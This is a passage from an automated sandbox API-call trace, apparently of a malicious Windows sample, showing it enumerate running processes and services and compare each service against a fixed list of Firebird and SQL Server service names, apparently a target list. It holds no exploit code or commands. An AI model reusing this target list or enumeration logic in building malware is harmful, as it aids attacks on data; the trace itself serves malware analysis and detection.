	[0089.814] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0089.815] lstrlenW (lpString="hansen mails.exe") returned 16
	[0089.815] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0089.816] lstrlenW (lpString="choirsas.exe") returned 12
	[0089.816] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0089.817] lstrlenW (lpString="skirt_races.exe") returned 15
	[0089.817] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0089.818] lstrlenW (lpString="actors_radius.exe") returned 17
	[0089.818] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0089.819] lstrlenW (lpString="scheduling.exe") returned 14
	[0089.819] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0089.820] lstrlenW (lpString="michael.exe") returned 11
	[0089.820] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0089.821] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0089.821] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0089.822] lstrlenW (lpString="pleasure.exe") returned 12
	[0089.822] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0089.822] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0089.823] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0089.823] lstrlenW (lpString="electron.exe") returned 12
	[0089.823] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0089.832] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0089.832] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0089.833] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0089.833] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0089.834] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0089.834] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0089.835] lstrlenW (lpString="pointer.exe") returned 11
	[0089.835] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0089.836] lstrlenW (lpString="gd logos.exe") returned 12
	[0089.836] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0089.837] lstrlenW (lpString="algebra validity.exe") returned 20
	[0089.837] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0090.117] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0090.118] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0090.118] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0090.119] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0090.119] lstrlenW (lpString="dllhost.exe") returned 11
	[0090.119] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0090.120] lstrlenW (lpString="dllhost.exe") returned 11
	[0090.120] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0090.145] lstrlenW (lpString="p.exe") returned 5
	[0090.145] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0090.147] lstrlenW (lpString="cmd.exe") returned 7
	[0090.147] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0090.149] lstrlenW (lpString="conhost.exe") returned 11
	[0090.150] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0090.151] lstrlenW (lpString="mode.com") returned 8
	[0090.151] Process32NextW (in: hSnapshot=0x180, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0090.154] CloseHandle (hObject=0x180) returned 1
	[0090.154] Sleep (dwMilliseconds=0x1f4) 
	[0090.844] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d08a8
	[0090.844] EnumServicesStatusExW (in: hSCManager=0x35d08a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0090.845] GetLastError () returned 0xea
	[0090.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x36bd508
	[0090.845] EnumServicesStatusExW (in: hSCManager=0x35d08a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36bd508, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36bd508, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0090.846] CloseServiceHandle (hSCObject=0x35d08a8) returned 1
	[0090.846] lstrlenW (lpString="Appinfo") returned 7
	[0090.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0090.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0090.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0090.846] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0090.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0090.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0090.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0090.846] lstrlenW (lpString="AudioSrv") returned 8
	[0090.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0090.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0090.846] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0090.846] lstrlenW (lpString="BFE") returned 3
	[0090.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0090.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0090.846] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0090.847] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0090.847] lstrlenW (lpString="CryptSvc") returned 8
	[0090.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0090.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0090.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0090.847] lstrlenW (lpString="CscService") returned 10
	[0090.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0090.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0090.847] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0090.847] lstrlenW (lpString="DcomLaunch") returned 10
	[0090.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0090.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0090.847] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0090.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0090.847] lstrlenW (lpString="Dhcp") returned 4
	[0090.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0090.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0090.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0090.848] lstrlenW (lpString="Dnscache") returned 8
	[0090.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0090.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0090.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0090.848] lstrlenW (lpString="DPS") returned 3
	[0090.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0090.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0090.848] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0090.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0090.848] lstrlenW (lpString="eventlog") returned 8
	[0090.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0090.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0090.849] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0090.849] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0090.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0090.849] lstrlenW (lpString="EventSystem") returned 11
	[0090.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0090.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0090.849] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0090.849] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0090.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0090.849] lstrlenW (lpString="gpsvc") returned 5
	[0090.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0090.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0090.849] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0090.849] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0090.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0090.849] lstrlenW (lpString="iphlpsvc") returned 8
	[0090.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0090.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0090.850] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0090.850] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0090.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0090.850] lstrlenW (lpString="LanmanServer") returned 12
	[0090.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0090.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0090.850] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0090.850] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0090.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0090.850] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0090.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0090.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0090.850] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0090.850] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0090.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0090.850] lstrlenW (lpString="lmhosts") returned 7
	[0090.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0090.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0090.850] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0090.850] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0090.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0090.850] lstrlenW (lpString="MMCSS") returned 5
	[0090.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0090.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0090.851] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0090.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0090.851] lstrlenW (lpString="MpsSvc") returned 6
	[0090.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0090.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0090.851] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0090.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0090.851] lstrlenW (lpString="Netman") returned 6
	[0090.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0090.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0090.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0090.851] lstrlenW (lpString="netprofm") returned 8
	[0090.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0090.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0090.851] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0090.851] lstrlenW (lpString="NlaSvc") returned 6
	[0090.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0090.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0090.851] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0090.851] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0090.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0090.852] lstrlenW (lpString="nsi") returned 3
	[0090.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0090.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0090.852] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0090.852] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0090.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0090.852] lstrlenW (lpString="PcaSvc") returned 6
	[0090.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0090.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0090.852] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0090.853] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0090.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0090.853] lstrlenW (lpString="PlugPlay") returned 8
	[0090.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0090.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0090.853] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0090.853] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0090.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0090.853] lstrlenW (lpString="Power") returned 5
	[0090.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0090.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0090.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0090.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0090.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0090.853] lstrlenW (lpString="ProfSvc") returned 7
	[0090.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0090.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0090.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0090.854] lstrlenW (lpString="RpcEptMapper") returned 12
	[0090.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0090.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0090.854] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0090.854] lstrlenW (lpString="RpcSs") returned 5
	[0090.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0090.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0090.854] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0090.854] lstrlenW (lpString="SamSs") returned 5
	[0090.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0090.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0090.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0090.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0090.854] lstrlenW (lpString="Schedule") returned 8
	[0090.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0090.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0090.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0090.855] lstrlenW (lpString="SENS") returned 4
	[0090.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0090.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0090.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0090.855] lstrlenW (lpString="ShellHWDetection") returned 16
	[0090.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0090.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0090.855] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0090.855] lstrlenW (lpString="Spooler") returned 7
	[0090.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
